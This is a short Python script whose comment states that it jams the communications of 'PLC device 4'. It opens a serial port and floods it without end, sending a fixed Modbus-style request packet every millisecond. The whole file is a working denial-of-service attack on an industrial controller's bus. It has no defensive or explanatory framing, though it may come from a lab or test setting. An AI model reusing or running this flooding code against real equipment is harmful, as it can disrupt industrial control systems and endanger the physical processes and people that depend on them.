#this is a script to jam the communications of PLC device 4

import serial
import time	

ser = serial.Serial('/dev/ttyUSB1')
count = 0

while(1):
	packet = ":04030BB700092E"
	ser.write(packet)
	print "packet# " + str(count)
	count +=1
	time.sleep(0.001)
	if(count > 1000000000000):
		count = 0
